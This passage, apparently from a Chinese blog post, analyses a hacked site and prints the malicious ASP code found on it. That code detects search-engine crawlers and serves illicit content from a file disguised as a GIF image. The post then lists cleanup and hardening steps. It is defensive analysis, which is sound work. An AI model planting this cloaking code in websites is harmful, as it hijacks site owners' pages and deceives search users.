ntents('index.asp'); //查看所有文件包括隐藏 var_dump($file); }else{ echo '0'; }?>分析上面打印出来的分页列表,找出非法伪装成图片的恶意内容文件
//分析上面打印出来的分页列表,找出非法伪装成图片的恶意内容文件if(file_exists('static/images/doc.gif')) { //输出伪装成图片的恶意代码 $files = file_get_contents('static/images/doc.gif'); var_dump($files);}发现了恶意代码,这里的主要做了判断是不是搜索引擎访问,如果是就去加载伪装成图片的非法内容的文件,所以搜索引擎一抓去就是非法内容了,如果用的iis6+php环境,而且通过ftp看不到这些文件,建议更换服务器环境,禁用iis,更换成nginx+php环境。
//aspstring(22174) "пїњ<%function isspider()dim agent,searray,i agent="agent:"&LCase(request.servervariables("http_user_agent"))searray=array("googlebot","baiduspider","sogou","yahoo","soso","360","so","yahoo","bing","sm")isspider= false for i=0 to ubound(searray) if (instr(agent,searray(i))>0) thenisspider=true next end function function fromse()dim urlrefer,i,searray urlrefer="refer:"&LCase(request.ServerVariables("HTTP_REFERER"))fromse= false if urlrefer="" then fromse= false searray=array("google","baidu","sogou","yahoo","soso","360","so","yahoo","bing","sm")for i=0 to ubound(searray) if (instr(urlrefer,searray(i))>0) then fromse=true next end function function mainpage()dim mainindex,n,pagearray,indexquery,i mainindex=LCase(request.ServerVariables("script_NAME"))indexquery=LCase(request.ServerVariables("QUERY_STRING"))mainpage= false pagearray=array("/index.","/default.","/main.")for i=0 to ubound(pagearray)if (instr(mainindex,pagearray(i))>0 and len(indexquery)<2)then mainpage=true next end function if isspider() and mainpage()thendim mfso,mfileurl,mfilecon,wfile mfileurl=Server.MapPath("static/images/doc.gif")Set mfso=Server.CreateObject("scripting.FileSystemObject")if mfso.FileExists(mfileurl)then Set wfile=mfso.OpenTextFile(mfileurl, 1)mfilecon=wfile.readAll response.clearresponse.write(mfilecon) response.write("")response.flush wfile.Close Set wfile=NothingSet mfso=Nothing response.endelse response.write("fn")end if endif if (fromse() and mainpage()) then response.clear%>总结:从上面可以看出,服务器被非法新增了文件,并把代码进行图片伪装,而非法新增的图片和文件是通过服务器的漏洞上传进行来的,比如:文件上传功能,ftp被暴力破解等途径。所以可以通过一些记录或日志,发现蛛丝马迹,而进行分析。
解决网站主页被非法篡改:
1.查找问题2.升级服务器软件3.修改服务器密码,修改ftp密码,更换常用的端口,或通过脚本分析登陆日志进行对登陆失败次数多的ip加黑名单操作
4.使用360安全检测工具进行检测网站存在的漏洞,并对服务器或web程序存在的漏洞进行修复。网址:http://webscan.360.cn/(*也推荐使用appscan工具进行详细扫描网站,使用方法和下载地址:https://www.jb51.net/softjc/579196.html)
云锁,网址:http://www.yunsuo.com.cn/
安全狗,网址:http://www.safedog.cn/
开启检测和防护(也可以一开始直接进行这一步操作)。